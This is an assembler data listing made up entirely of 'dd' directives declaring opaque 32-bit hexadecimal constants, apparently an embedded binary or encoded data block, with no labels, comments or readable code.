dd 0A0FB928h, 0E878BDAAh, 935F64F4h, 0A8ED8D80h, 0EC2BF64Ch
dd 0F5209E5h, 0D779763Ah, 0D8747E02h, 9ECC4069h, 45CD2825h
dd 44A93FD3h, 4AC73660h, 2498CC3Dh, 756FF706h, 0FB0435Dh
dd 23E33228h, 5F62E780h, 30982B38h, 0F6B7AC70h, 0D1757A3Bh
dd 93C18BEAh, 0C848A23Ah, 459D2BCEh, 0D19EAF86h, 6D92A3BFh
dd 0CF4725DBh, 0C75928FEh, 7B96BA83h, 0C0B5791h, 824C4BECh
dd 6837E92Bh, 5CD63186h, 247A7A5Ah, 0ADE0F3BAh, 39927F5Eh
dd 629A345Fh, 0E0835DBFh, 0E6F97994h, 6FD3BFBh, 4B85DA8Fh
dd 47DB4DB4h, 69B76A37h, 81B5B2D6h, 0ABE95BDDh, 0D85977EAh
dd 0BE2CEC90h, 0FD318ECBh, 0DE2BB6EBh, 23491CD9h, 199EDD37h
dd 0C202C417h, 64B06FF7h, 0AE0ED057h, 0E9506C02h, 76C8BF71h
dd 0D51DB353h, 8AB1DC20h, 0F7C22867h, 270EB4FBh, 394210A2h
dd 0E7685000h, 5821220Dh, 4C480507h, 0DFFB2B49h, 5412F220h
dd 0E913632Dh, 0B4A8E8D5h, 0CB5E48DEh, 45715917h, 68004295h
dd 15C42514h, 9AB879DAh, 0C124AAA4h, 0D3A4DC12h, 14290EEEh
dd 0FE835FDAh, 25BEDF68h, 40826CE0h, 0B7C6D6Ch, 0D8091761h
dd 5FE4868Fh, 2DB90058h, 7B14721Bh, 0DC450081h, 0D505986Eh
dd 387A9112h, 6439DB2Dh, 0E1529754h, 0C555D9B5h, 32EF9D8h
dd 407E1DEFh, 0DF0C042Ch, 9712333Bh, 34082A60h, 3114140Ch
dd 0C24DD04Bh, 3C2E6397h, 43D3570h, 3192059Fh, 0F6F188FBh
dd 48219941h, 0BB4B944Bh, 7B284F31h, 0C68100C2h, 325DB1Bh
dd 0B0CE5805h, 163C2FA6h, 1F302FE6h, 0E3801032h, 1897A06Fh
dd 6A9AD4BAh, 25725489h, 0A812E226h, 35665C61h, 4AFB7864h
dd 0CF6BB887h, 12A4440Dh, 5D4628BEh, 0ADE64C5Eh, 0C9052006h
dd 0C30FB22Ch, 0C1C5670Dh, 95C0E956h, 1FD0F997h, 53CA586Ch
dd 6F1EADF2h, 17CC3FBFh, 9C2170Bh, 32109D3Eh, 3FD03187h
dd 1E8274E6h, 755197h, 0E61004F1h, 0C8490151h, 15A8D652h
dd 0C94DBE13h, 0AF017B77h, 0DBE7B833h, 6C58C03Bh, 95B1312h
dd 71A67E81h, 0A75065ACh, 0E46FC1F4h, 70BD54EAh, 0EAD1CA84h
dd 4E1DCEB4h, 438D493Eh, 0A0B73550h, 0FECBE3Ah, 89449780h
dd 526F5CBDh, 29169A73h, 0B7AB6B84h, 20AD942Ah, 0ADF499C5h
dd 0C7498FF5h, 5B652866h, 5ACF1FBh, 8818A808h, 5BD02F9Eh
dd 5FA35638h, 623029FFh, 2FC8D4CDh, 6E30A0CEh, 9F744A6Fh
dd 0D6AFB77Ch, 21B13BCEh, 2B92132Fh, 38E1B6F8h, 0BC9474C3h
dd 22F02B16h, 57399D01h, 67207B4Fh, 0FB9F6541h, 0E2C2EEC6h
dd 0B597D888h, 0DB79FE7Ch, 0B6BF2381h, 2F73EC62h, 53784E44h
dd 0F16231FBh, 297E34BFh, 0D65892A1h, 205B50DDh, 88F498B6h
dd 0E25AD133h, 1CB9254Fh, 0F80F12DFh, 258F7F33h, 0E0882DEFh
dd 76E90607h, 5C97366Eh, 0E5FD9F76h, 0A66FABD1h, 0E81AE187h
dd 0C4C59FF5h, 8DD5369h, 531DAE52h, 75C06A89h, 0DD2CEB45h
dd 99B3C816h, 56FEC7C0h, 1264375h, 7916F9EFh, 3911AACAh
dd 0E9597Bh, 0A14282BBh, 5E96E90Fh, 781E406h, 0EF92CCF0h
dd 0AD3C65BFh, 180996D5h, 912F49E9h, 201236EBh, 50FF2AEDh
dd 0E90B0806h, 1B561525h, 29CB508Bh, 0D4A6A0F3h, 9068C309h
dd 7EA51FEh, 0B1168422h, 8827B813h, 0FF570DB4h, 3823FD3Ah
dd 0A0BF434Fh, 0A47DB9E9h, 0AE374EBCh, 0F88AB74Bh, 2EF3B534h
dd 7B25E92h, 0FFF66AC5h, 0DAD01EB2h, 6E325A25h, 0AA26837Ch
dd 0C2200900h, 9B85067h, 394544BFh, 460ED450h, 0D3297418h
dd 533CBE0Bh, 0EB3E3E3Ch, 0FD43E513h, 0AC051883h, 1A6CC7EBh
dd 0B33EEA77h, 0A36F7F82h, 58C60101h, 0EAFD06A0h, 6C8B0B71h
dd 0B08ED14Bh, 0A54D9741h, 36F3D85Ch, 0DB290E24h, 0B9D5B20Dh
dd 0CAE2B02Ah, 4820870Ch, 2B6EA22h, 6826EC0Fh, 24717484h
dd 0DAD7BA39h, 0CB9332ADh, 0E9D60581h, 0ECCC29FFh, 0F376BD53h
dd 0B5DC6858h, 1F93D3E8h, 56884791h, 0E6556BBEh, 0D3F99535h
dd 0D80BE962h, 5066296Fh, 2C2B0BE3h, 0CA0961DAh, 7723E711h
dd 3E9395E0h, 0A0B82FE6h
dd 0A731774Bh, 4B8396ADh, 6320F781h, 7965B8ACh, 1A30029Eh
dd 0C60A40EAh, 1C67EE0Ah, 10D60132h, 0EB5A07C6h, 5CF0975h
dd 0E9CCC868h, 0C16B406Ch, 9605EE28h, 5EBFA45Eh, 0E35D0B37h
dd 3FEFE557h, 0AF76E6ACh, 21096403h, 0D4545FEAh, 0CF7A5919h
dd 0EC7D5DC0h, 3BE60BF6h, 3A09179Dh, 0EE2D52F2h, 4A7C70E2h
dd 2E3BB889h, 0DBA56246h, 0CB68415Fh, 65C40461h, 0CD2612AAh
dd 0D4A43E23h, 2A354184h, 0CE1409FEh, 68B0D743h, 3E9F7DB8h
dd 0E91DCE17h, 9AB2329h, 25393E51h, 49DA516Ah, 0C9EC965Dh
dd 85D5581Eh, 92FE4FCEh, 0B6D7C42Fh, 0E58BB718h, 0C4136E5Eh
dd 0EEE69CEAh, 0E89D9D5Fh, 2B8B8F09h, 0D9F873E9h, 585B84B5h
dd 33573449h, 6755F0B6h, 5D7705D9h, 90EBC4E9h, 80B5B36Bh
dd 3AE4C338h, 60EBFCCBh, 0F682B79Eh, 57491A85h, 983FDB76h
dd 681EB363h, 0AF70534Eh, 0E7F2F78h, 0B60230D3h, 770FC67Dh
dd 8405D3C0h, 46837E0Bh, 0CB14D840h, 0C3045507h, 4E35A748h
dd 0CEFE1735h, 3F135B65h, 58DD2598h, 0E4D3F045h, 0CDB83009h
dd 107E8C41h, 0E116D5A1h, 8CE235CEh, 7D9549EFh, 0D295901Eh
dd 0A35A5461h, 55523B4Ah, 1967AACAh, 4C8703ECh, 0B8042CEAh
dd 820D8D5Fh, 0F6031259h, 80DE91D6h, 4BF0F2D5h, 5E4B9ABBh
dd 532630C7h, 0CFA067B3h, 0E2978840h, 4F36572Fh, 3BB4B4C3h
dd 0E9FFD880h, 12D7B47Dh, 0C956EEB9h, 0CC127013h, 0C55A8CC3h
dd 0BA4F0DF2h, 0AB44D62Ah, 585F7721h, 0BD79F95Bh, 0AF525DD6h
dd 0E83B6B64h, 0DDEF4h, 4BBA1E05h, 0E93E1688h, 0A1202D33h
dd 45E5A97Eh, 8101488Fh, 62040CC0h, 0EF9221DBh, 0A292672Dh
dd 5FD9792h, 6082E25Ch, 9336AC64h, 1FE91813h, 98B422DAh
dd 56D7E5E0h, 95B48E0h, 7C666857h, 0A1899379h, 720B5E97h
dd 0E9C34DFEh, 77494EFCh, 0BFDAD2BAh, 56602A46h, 0F94D7F92h
dd 0BE949F76h, 0A9440DA2h, 684E2095h, 234E7733h, 0C207401h
dd 0AA49E975h, 738B16C2h, 70622362h, 4D12A54Ah, 6BB281E1h
dd 58180B14h, 5078CA0h, 0AD4CDD05h, 92C4BE36h, 21AB0717h
dd 7815E909h, 7F5427EAh, 0F94EBA14h, 3D10E6A6h, 35B2596h
dd 1035072Ch, 0CB052B2Bh, 61415658h, 3B0799E9h, 45A55FE2h
dd 0AA505349h, 0C5579D61h, 0DE46FC2Eh, 14CF888Ch, 0FEF99DBBh
dd 476964A8h, 0ACEB4095h, 0ED7BC9CCh, 0BFBDE254h, 57A44A11h
dd 5E097843h, 51D333Bh, 7AE637A8h, 8B9F3998h, 0C2875E43h
dd 0E675BBFEh, 35FD2FD2h, 0F1820E51h, 0F617EF09h, 0A7CF598Ah
dd 57E300BDh, 2F6F4CBFh, 0C803D1Ch, 8B25EF2Dh, 0DA052A03h
dd 133F8F0Ch, 806BE9DEh, 4E1C162h, 51D9F712h, 0EC12E756h
dd 14EFCBD0h, 71A41347h, 13838401h, 74540608h, 0C65B291Fh
dd 0CADC2E5h, 0DE84CEDAh, 0B563E977h, 8C685FA8h, 2575A3BBh
dd 6D474280h, 0D3D63090h, 7309AF1Eh, 75F833E9h, 3D09D8E4h
dd 5F7CDA46h, 7EE38368h, 7D6E1827h, 0E8B44A84h, 83BD0227h
dd 703BC65Ch, 0D6D87CF2h, 575D8389h, 0C1BB7B54h, 20E63E04h
dd 0F644401h, 5636580Ch, 5115FAA6h, 0AEA069Fh, 10F60FFh
dd 1CC90F94h, 3F890DE9h, 6BD9840h, 2C96735Ch, 10F7D0F7h
dd 4D395090h, 5E9D16BAh, 0BC14AD9Fh, 0ABBA5225h, 2A68DEAFh
dd 0BD1E98FAh, 0D7A7F2FEh, 4E5D7F1Ch, 0B4680BFCh, 964AF141h
dd 80BA2469h, 6AE7B768h, 31C850CCh, 14743E6h, 1C4127B8h
dd 0F03F0970h, 0C15B2B0Dh, 408DFB8Ch, 81034346h, 304EC5CBh
dd 0D3EBB062h, 6F772D7Eh, 0EC9FAEF0h, 0F6C9BFF1h, 0B952CF4h
dd 5123CA68h, 0B5E98B5Bh, 959DC3D8h, 0BFB0AF2Eh, 0CA83BDDAh
dd 5B26610Bh, 0E4F5357Eh, 7E979AF6h, 0E57DA59Dh, 0D8DA831h
dd 2F5074C0h, 2B63FD92h, 89032AE3h, 16D7A4Eh, 0C68E20Bh
dd 0C02D1A30h, 24360B86h, 98DD1F75h, 0CA812831h, 2C64C90Eh
dd 0A5F2C07Ch, 0FFCEDF3Eh, 2F9EBD2Ah, 0BDB1004Ah, 340267F0h
dd 80024D30h, 0F504544Bh, 0FD872906h, 9008DFF7h, 67D60994h
dd 9F0B3473h, 0C5BFC458h, 94A8833h, 639E022Fh, 0E3B502D8h
dd 66EC83FDh, 67B7F051h, 3DB40050h, 0E13063B1h, 0F9172858h
dd 202590E9h, 0C7C54FAFh, 0FA8952C2h, 59896551h, 0F9017D5Ah
dd 30A8447Ch, 0E74BF025h, 72EEC185h, 0B0D7FB8Ah, 8A2BA5F9h
dd 2E9EDA7Fh, 812AE3E9h, 5B30D268h, 123D3275h, 75FCD9CEh
dd 3F8718D9h, 19D51444h, 33313EDEh, 82B99347h, 773E5161h
dd 273D617h, 0E40AEB96h, 0B832805Dh, 36C533Bh, 2E362D33h
dd 0DAA87A50h, 0B0A4D43h, 705D029h, 128AE328h, 0E9894BFCh
dd 9BC60A9h, 535A00D5h, 3D4EBDBBh, 58FA817Eh, 36553A12h
dd 0A25BA300h, 4131F72Fh, 3F5DE5DDh, 0EFD7A1A9h, 4B7363C8h
dd 0E045EC88h, 917BB66h, 4128E94Dh, 801034F5h, 12E179B0h
dd 2232E961h, 6BE0E5CCh, 0FB265E84h, 8014201Ch, 0DEED2506h
dd 0CD0189A9h, 0ABB73304h, 0AE81D6B8h, 0FD46A3D4h, 2938F2h
dd 55767E33h, 9E6BABE9h, 0CE1B8945h, 0BBEA1110h, 6AA85C0Fh
dd 69BAAB42h, 24E4C53Eh, 2A667B6Fh, 2ED9BC09h, 0C23D5A27h
dd 7529B8C8h, 0F3B5DC94h, 9143ECDBh, 0EC517D40h, 2A4841BCh
dd 0B8C42AA8h, 515309C2h, 5AE9E233h, 0ED8B07EAh, 0D4A55B45h
dd 32DB595Ah, 0ACDD3B24h, 0D8A76148h, 0F4449F85h, 0F5C9C52Dh
dd 506F1AA0h, 85B70E46h, 80BEE0Dh, 5D4DF55Ah, 0E9059F26h
dd 0A34F8C86h, 30A6336Dh, 7A28FE62h, 8200D2C4h, 8144715Fh
dd 4703AF7h, 95E97810h, 5DF2BEB3h, 4642E30Bh, 0DBC29F00h
dd 2D1B041Fh, 972436E9h, 1512E5B0h, 305D7BD9h, 0C71794EDh
dd 0C12F501Ah, 256EF841h, 0C42176FDh, 6059A5F1h, 619A1EE2h
dd 0E96E5397h, 8D8384h, 3E3C158h, 5E7BF44Bh, 0B340EA9Eh
dd 214A95C3h, 240C15Eh, 289DC1C9h, 45EE5B0Dh, 0BAB98C90h
dd 0D0AFC937h, 85207958h, 68535B06h, 0E019130Eh, 81DC83EFh
dd 0AF9B616Bh, 0D5508289h, 0A576FC3Ah, 58A72156h, 0AD2AB9D1h
dd 7995F5D8h, 33268877h, 73C7BB01h, 0C29D6BF1h, 18978D0Fh
dd 7257F40Ch, 0F301317Ch, 6D9B0824h, 60487AE9h, 6FF40BBEh
dd 0BB540C93h, 0C1139F82h, 0F13E5878h, 960C5A14h, 0C59F5E9Ch
dd 9AFFAD47h, 0A546DF67h, 847DE919h, 13DDE189h, 800FD42Ch
dd 0AEEBDBC1h, 47DFC962h, 9C1A63Bh, 18DF3FEFh, 0BC41E528h
dd 64A28906h, 27343946h, 43C560ACh, 0BD716304h, 90CD11D9h
dd 0CEB0B82Bh, 8A215CB6h, 8BE87B56h, 6CDB1053h, 0B612072Ch
dd 24DFED37h, 21AEEAE1h, 68D83102h, 0A2ABA55Eh, 59CFC917h
dd 8A8BA7A4h, 0A160145Dh, 0AA05C5B4h, 0A3C88CB2h, 0DE8DA942h
dd 66845241h, 35EDF089h, 0DE69CF7Ch, 0D0C87784h, 7EE111EAh
dd 0D28A6EE6h, 83970B31h, 69624F7Eh, 57185501h, 5B95F921h
dd 2C9E2493h, 9F2909C8h, 0CDAC7F5h, 681CEC53h, 0E6598D27h
dd 6D2F01ADh, 0F74D2850h, 0ABD76FD5h, 39360FA0h, 7EF5889h
dd 1ED79E27h, 0B33E6811h, 327602C0h, 15D35DFh, 26695F8Eh
dd 49D92820h, 6E9F2297h, 67534239h, 850048A9h, 3BC35678h
dd 0D28562B7h, 6F2F204Dh, 0B7ED8007h, 0C557E528h, 0FC12AB5Fh
dd 3FF1CBCDh, 79BF6841h, 1318D2Fh, 3BFA1B84h, 0EE3C10F7h
dd 615D1969h, 802C71B1h, 0A46CAA4Bh, 0E9E98183h, 2B493525h
dd 0C1451291h, 28689F87h, 0A8189413h, 1E5B2DE0h, 8650950Ch
dd 6620F141h, 330F09FBh, 807F0976h, 6F6EE63Bh, 0E6216087h
dd 0E8705792h, 5E3DF7EEh
dd 4DCF0247h, 5F4C4B17h, 2907BFD9h, 0D9EA89F9h, 0DDFE9F16h
dd 5DF8DE4Ah, 0B8ADE5B5h, 5522AE5Eh, 9C7035h, 0B641E8BEh
dd 373F684Fh, 6B627096h, 81827F26h, 987E38B5h, 57ABD767h
dd 6612694Ch, 28460CD3h, 95208216h, 514CA26Eh, 0E6681255h
dd 416CFBAh, 29A568ADh, 0E9EE0280h, 355C40D8h, 0B59E200h
dd 2A8E2D33h, 0B7B7A79h, 39931680h, 9638BFC2h, 0FA9D89F1h
dd 18FD3977h, 9B7ECDAh, 0D6F703h, 115E4054h, 0ED048106h
dd 149521DFh, 575C08Dh, 364C63F9h, 967D1861h, 923EAB7h
dd 31E4CCEEh, 0DC20E370h, 0B75E713Fh, 0E9E3E156h, 0CC52BD9Ah
dd 0CD9E95FCh, 2E52BC0Dh, 0EA563798h, 47182FBEh, 0E74263A7h
dd 0FBB6BD4Eh, 9206C232h, 27A57EB2h, 2F288E53h, 0ED0956D3h
dd 0E0675EE7h, 3E9D3302h, 8083AB4h, 0C80F01CAh, 38664168h
dd 4B33CD88h, 0D102728Ah, 9B6C0AC7h, 63C68283h, 0B58BC578h
dd 820FF5Ch, 0E95BE1C1h, 5DC23C4Bh, 0D2AD59D9h, 54CFFE0Fh
dd 95898B53h, 3B3374C1h, 570E5BE3h, 91122068h, 3F47B081h
dd 301047E6h, 0EF8101C1h, 4D257D78h, 4B9E53Eh, 0C51BF208h
dd 8DEACA15h, 681E24B2h, 230D3D31h, 0A8022F6h, 7BBC2DADh
dd 54A6A0Eh, 51595797h, 0E9D80264h, 98CAF28Fh, 274DE4D7h
dd 1A5F8094h, 5FC10995h, 0E941967Bh, 0E3AD57ABh, 0D1F79F02h
dd 57E40977h, 0C6A46830h, 0E89A20B5h, 0EC381550h, 63D89F5Fh
dd 0A687F14Bh, 0EB80D300h, 626597A8h, 0C4A46496h, 2CD6B7E3h
dd 1D5ED3E9h, 0F01957EBh, 630CC3BEh, 0C642203h, 0AA58174Ch
dd 2850BA66h, 14506808h, 84A07F49h, 0B254E955h, 0D64DB192h
dd 32A85EF2h, 0F7305A39h, 5C651015h, 242D3600h, 577250Ah
dd 9B53162Eh, 4C1C450h, 9584E907h, 0BF171724h, 726ECCh
dd 4921615Eh, 231BC981h, 0C410B30h, 0A560F71h, 30696865h
dd 6A20BC89h, 0FC8E149Dh, 350A498Ah, 16D6E340h, 8045966Ch
dd 8C162D73h, 0BCFC2BE5h, 900A2C2Ah, 541782FEh, 7D884293h
dd 0C29993D7h, 8F09D5F5h, 0C167D95Dh, 3ADD90E9h, 0EBC4C4EDh
dd 0F475BB02h, 5D5E1582h, 0C1F79D9Ah, 0F63C587Eh, 1267BA01h
dd 3A4A772Ah, 4D06B760h, 0E9480BEFh, 0A6AF95B9h, 3B187C1Dh
dd 0C3EB7FC8h, 0E66B1F16h, 77E27009h, 6859A8B8h, 5AA3A949h
dd 0C4977FB3h, 0BB5FC6Fh, 801EE580h, 0EA08B008h, 9CAF259h
dd 0D014E973h, 0B4B26CDFh, 0B3E9420Ah, 12BB8B7Eh, 1BF3C474h
dd 2EC64270h, 203EEDDAh, 0D0E4B585h, 7F822A7Ch, 6AF3A700h
dd 0A5E5443h, 381701E9h, 0BA5BC8F7h, 0EA3B1309h, 0AFE4F156h
dd 0CA801E56h, 7D127E09h, 5D62FE9h, 1E885371h, 0CF4D2668h
dd 3F03D1C7h, 0C8CB21E5h, 2012BD11h, 97EB1840h, 335E7BE3h
dd 41E6D927h, 241A8B68h, 0A7B5DF0Dh, 6CB0CF8Fh, 9F4729C0h
dd 5EE6B8D2h, 9B877E16h, 0E90951ACh, 47468D7Fh, 29BC1FF2h
dd 27EA7C25h, 25DC14F5h, 69188B74h, 0C39CA3B5h, 292AB242h
dd 0B5C591F4h, 4ECCFDF1h, 30443068h, 572CB75Ch, 0FA89C402h
dd 751422E9h, 8A2021E7h, 9D2DD40Bh, 7A0C870Bh, 0FA7FBBC3h
dd 0F2657FEFh, 5596F7A7h, 6151EC30h, 2E7C67EBh, 2F304BF6h
dd 0BE812FF1h, 4149632Eh, 0F7C7480h, 0D404E71h, 0D77E7B00h
dd 21892D27h, 0E03E5C67h, 867507D3h, 0C7F66028h, 412E033h
dd 478CF329h, 0BCB89C5Dh, 0A890B6F6h, 0A1333149h, 0E089C799h
dd 5075043Fh, 0C678F877h, 0C91EF94Bh, 0FEDAB083h, 7E888C0h
dd 0CD21E34h, 0C27034C5h, 0DC0BAD3Dh, 74A800DEh, 0CD010293h
dd 5D4F594Bh, 23D053A2h, 60520B42h, 0E23EA70h, 0E925261Ch
dd 51455D6Eh, 167D3308h, 7504AB5Dh, 0BD039227h, 25C85E96h
dd 65CE5C1h, 47564E80h, 38206510h, 7B6C0E4h, 0AFB5514Eh
dd 0C2C96452h, 1CD7A928h, 6093FC2Ch, 16F54D84h, 1D04774Dh
dd 26126845h, 760E42A3h, 0AE32FF86h, 0E07FAF39h, 27600717h
dd 1B31F14Dh, 41041F39h, 0F4876883h, 9F381277h, 0B8EB1246h
dd 0DFBE8429h, 7C2C6D14h, 236885ECh, 54D5C859h, 0B66DBEF3h
dd 0F8F61E53h, 5335FD5Bh, 2D5326ACh, 37EDCC74h, 94F95B30h
dd 0ABA0134h, 303D5B1Fh, 6C00B025h, 0BE5654C8h, 1634794Fh
dd 8083E914h, 206568D9h, 5E67A817h, 0E3C05AEFh, 26320B50h
dd 5FC7F182h, 3C58D4C9h, 0C15D8433h, 25E31F1Ch, 0F0CE0FDDh
dd 19A33410h, 0ED4ACD29h, 67401A25h, 5ACE6320h, 141C8462h
dd 0F4863007h, 0C35C772Ch, 0F1588914h, 0F975FAD6h, 375480CCh
dd 0F30175AFh, 880DE90h, 859735E9h, 0F6B25868h, 0FE015293h
dd 6809CBCAh, 9BC6145Dh, 0F51BF709h, 0F334064Bh, 16E9150Dh
dd 542F133Dh, 3366E771h, 0A1E9131Ch, 35DDF9C8h, 1E170640h
dd 0C7808480h, 0EAD7E02Fh, 37F4EBEFh, 62B29110h, 87F65331h
dd 85871963h, 1A138EFFh, 8171CD98h, 57505F81h, 400B7320h
dd 56A45920h, 0AD8B7C97h, 95CF1C5Fh, 3F082CDEh, 971B287Bh
dd 109054F2h, 80730300h, 24D255Eh, 56F1E08h, 0A9C98B9h
dd 0D72531DDh, 921F669h, 0EF80194Bh, 25ED6C48h, 50D0C898h
dd 1E583008h, 4DA24457h, 1393921Eh, 2B9AC94Ch, 0ACE99E4Fh
dd 3CE297C6h, 3524510Eh, 45F092D4h, 0F4A489CFh, 0BE136E58h
dd 0F908077Fh, 0FB801EC3h, 0FC4BAA5Ah, 0E0F8214Ah, 0D9413548h
dd 0A0D74F87h, 9FBB1C17h, 685BE200h, 44B152F8h, 8DE90CBBh
dd 72311294h, 8FE6BF7h, 630C8D7Ch, 9EAA7B1h, 1FC1BE3h
dd 0AC4F8064h, 0DEC2DBD0h, 21491475h, 7E33D957h, 3FA1F537h
dd 3B52F5F7h, 264CEC90h, 0A06A4F50h, 6994359Ch, 36BC2EC1h
dd 7B92F12Fh, 5EEF9409h, 0EA591224h, 0ED885F2Ch, 66F080F3h
dd 12B17651h, 3762C4E9h, 0B65B82C3h, 0BFC278DEh, 3BE55FCFh
dd 9A8E5E0Bh, 0B35C5504h, 8821B456h, 54A74B4Ch, 0D2694FB7h
dd 0E8E95640h, 0F7CF0BB5h, 9679B33Eh, 0B7692B5h, 5AF661B2h
dd 6F1ADD7Fh, 0A0C4AAE8h, 20938995h, 7B4A6B70h, 41646DE0h
dd 65D26075h, 0E7447005h, 0E0E8CA31h, 6B5AD3B1h, 0B0BA20C4h
dd 3C08EEF8h, 6C0B6303h, 0E6316881h, 3EC6DF31h, 0E0E19150h
dd 1499182Ch, 31ED8A41h, 0A77F4F3Ah, 0AAA0752Dh, 53BB20Bh
dd 5E4AF2FCh, 3D7B35A1h, 5C55DA00h, 0FDDB506Eh, 296FE2B6h
dd 52FFA0FAh, 4832F9BAh, 0CA03A9A8h, 422F20FEh, 0EBA5FE8Ch
dd 0A6B26847h, 0DFC07558h, 0C093BD6h, 84D3293Fh, 0F6091C7Dh
dd 792A49D7h, 79F0A904h, 37CE8C28h, 0CB48D909h, 90FBF8C4h
dd 797C9553h, 0E2010A26h, 105A139h, 81C41F3h, 4D254C61h
dd 16CFE77Ah, 0B7E4A7DCh, 3A3712ABh, 2C1A0069h, 896FFD0Ah
dd 315BDD13h, 0F3D700BFh, 0BD8AE193h, 5997C490h, 0B8940D5Fh
dd 44ED3E5Eh, 580E30Eh, 90A60057h, 2960311Eh, 4D4D151h
dd 0C596AD08h, 0BAF43CECh, 5DAE0CEAh, 20C7B5Ch, 6B731300h
dd 0CF68DA01h, 8130976Dh, 0AA012B96h, 18942D04h, 82E9937h
dd 0C2940186h, 0E7E91227h, 0C8FFC1C4h, 671FBBE0h, 0B7936696h
dd 0AB8BDE0h, 0F7B3322h, 29570286h, 0CD724C5Ch, 10E90880h
dd 597D0B9Dh, 7CB342B6h, 76FA090Eh, 61F2CB98h, 0C023E2B5h
dd 42E3D4Fh, 0F30972DDh, 71AA85Eh, 792339CBh, 0E9535580h
dd 688EA895h, 7F2B5464h, 0E7D38BBh, 12CF2328h, 0FB844DD7h
dd 0BC5AFF01h, 873AEA7Bh, 0D85899F3h, 2D07BE00h, 0F681163Fh
dd 10DC503h, 3A4FA9F2h, 0FA782FE9h, 61FB071Ah, 0C2C16CEFh
dd 0CEC39106h, 58BD5598h
dd 1C09321Fh, 3BB10A13h, 2638C9E8h, 2C70E69h, 3FDA7DDFh
dd 1DAC6043h, 5B77AF4Ch, 15300FC2h, 2A6BB713h, 0CDD808E3h
dd 23047F8Eh, 362E6870h, 0F85EF992h, 5B5A28A2h, 1E0D1298h
dd 0CE8D0401h, 10AA12DEh, 5B13CF42h, 0EF011F3Eh, 0E1B8B200h
dd 6A4A8C2Dh, 73F7F3F0h, 5B7B02D8h, 9EE92938h, 4560B9F0h
dd 2D0AFEB4h, 40DDF865h, 0C5B75CF1h, 0BF57007Dh, 630F2A0Eh
dd 0BAB1FEF2h, 0CE95604h, 0CAF12FF1h, 5084AD2Fh, 0B7AFE7Bh
dd 1894E48h, 54F65CB1h, 1A04D901h, 14051C08h, 0A6E3AA5Bh
dd 15E9F687h, 0C7D3FED9h, 86D5C858h, 3AC072EAh, 0DDB88008h
dd 0BF9BD335h, 1025190Dh, 605EAA2Ah, 5EB9494Bh, 15ED8FBEh
dd 0C5023807h, 4E71ECD1h, 8D272AB7h, 37E80F89h, 22703A8h
dd 0C526543Bh, 2FCEE8EDh, 4F30D55Bh, 16C2DE31h, 7561E9F0h
dd 41D21B22h, 0C6C1AE9Bh, 23302E6Bh, 4B326211h, 65EE957h
dd 6ED2409Fh, 79E70611h, 0E4737A5Fh, 147B6C25h, 780A250Dh
dd 0D325FDECh, 2833F309h, 78B72D27h, 747B185Dh, 6A5A81AAh
dd 680C6E8Bh, 44657CA1h, 0A3AC734Ah, 1E3FA0D2h, 2BD1A94Ah
dd 56249D6Ah, 599BFAF5h, 0C35AA2BEh, 9AD142C1h, 41446A2Bh
dd 5B09B962h, 467F85Dh, 682350F3h, 0ED42C06Bh, 0B216F66Dh
dd 5BE6D931h, 0A9051812h, 8BA8D212h, 75411A1h, 0B456C43Eh
dd 4009114h, 149E335h, 0A2983189h, 0AD4161B0h, 4E32906Eh
dd 7F4F1978h, 6B38FEB4h, 3C58CD27h, 0BF10A49Dh, 5482E9B8h
dd 7608276h, 0F680C42Bh, 5F5590DAh, 133EE8B0h, 4AE408BBh
dd 0B1671EAAh, 0B0B5CC0Dh, 4DFD42Fh, 8034B2C3h, 0EAD0E9C2h
dd 0C917F2D4h, 0E5F5A42h, 68CF1843h, 6D1E161Dh, 8BE10B67h
dd 0A727EE4Eh, 9F4514Ah, 0C4FC5268h, 36D05464h, 1FB41FCh
dd 0B1E68143h, 824F0906h, 36232ED0h, 9D03DD1Fh, 1AA8BB53h
dd 739070CFh, 0C067E925h, 550D0Ch, 553C257h, 1DFEE82Ch
dd 4500199Eh, 0C7294D03h, 0B1924BE9h, 61E83BFEh, 4DA268B0h
dd 1762D99Ch, 0E3B8D70Dh, 215E8468h, 6B0423E3h, 0F264306Fh
dd 55218BF2h, 8CBC4682h, 6A71475h, 6DFB3815h, 0F305F85Bh
dd 39DB76CFh, 0BA1284FEh, 0E9895B1Fh, 815774FDh, 756D19EEh
dd 2B365D34h, 0E9DB70EFh, 189FCA83h, 656B8C4h, 0B90D863Bh
dd 294E0B5Ah, 3A6BFDB5h, 0AD914F1Ch, 208B7D75h, 1AD54C01h
dd 550C0950h, 66E99979h, 40E91385h, 1644F3B7h, 0A5A9A372h
dd 7A109094h, 685E0547h, 0CF984AD0h, 1634E0C6h, 0A1EB874Dh
dd 0E75EDE16h, 1ED8007h, 0C00AF532h, 0E651EACFh, 39CFEAD1h
dd 0DB585A59h, 0A9E2844Fh, 5522A2B2h, 72654A89h, 43E86A96h
dd 948084A5h, 1AA9AA5Ah, 273E410h, 0AAEA62Dh, 0D1FD42DCh
dd 36094902h, 903BA87h, 427BFB57h, 925C3FE9h, 35E75816h
dd 0E712BA4Ah, 0A20C1E21h, 2F39164h, 0C14F8E59h, 30DDDF01h
dd 0A1F821C2h, 3F3C0F2Eh, 0F3885904h, 289EC05Ah, 66E82CD8h
dd 65A6B6B9h, 4BB89C0Bh, 5B1EA881h, 0C7454C10h, 0D4A11915h
dd 0B5010881h, 0F0C03B31h, 2E846Ch, 6AB12DD0h, 64E91792h
dd 0DF329869h, 859520E9h, 0D030F606h, 680142FAh, 0C1A35A60h
dd 0DC1DA04Fh, 7C95250h, 0F1B45D17h, 7D36409Fh, 4E2F4CF6h
dd 0E3C04B20h, 0E3CB8058h, 5BDAA953h, 490E0E3h, 0E9FAC36Ah
dd 472720CCh, 0BD68D6C3h, 0AEA91495h, 2EBCF602h, 48F73B28h
dd 0C0B91D1Dh, 4674EB1Dh, 12E3223h, 661362FBh, 6DFA0B56h
dd 93C67D3Ah, 157F2304h, 0F1055E07h, 31DBB5A0h, 32FAF716h
dd 817BA257h, 30EA57C5h, 0EBF571C0h, 7C5D3702h, 662BA4E9h
dd 68503F60h, 57356C9Ch, 48DC0B58h, 0E913E08Ch, 1271B227h
dd 0B12A418Fh, 1309F36Ah, 61AFB42Eh, 1EAB34h, 7A0E2668h
dd 4159005Bh, 0F03F181h, 890920DDh, 56C2E9CEh, 0CB95255Fh
dd 228AA2A5h, 0DC8802BCh, 0C1F4D082h, 0D166A3D7h, 0E379131Ah
dd 0DE8CB83Ch, 79421042h, 27884432h, 0A1F1A927h, 7BC05E8Dh
dd 511E1082h, 0CE456271h, 0D7F2529Ah, 6B9AE18Dh, 0F0A156B8h
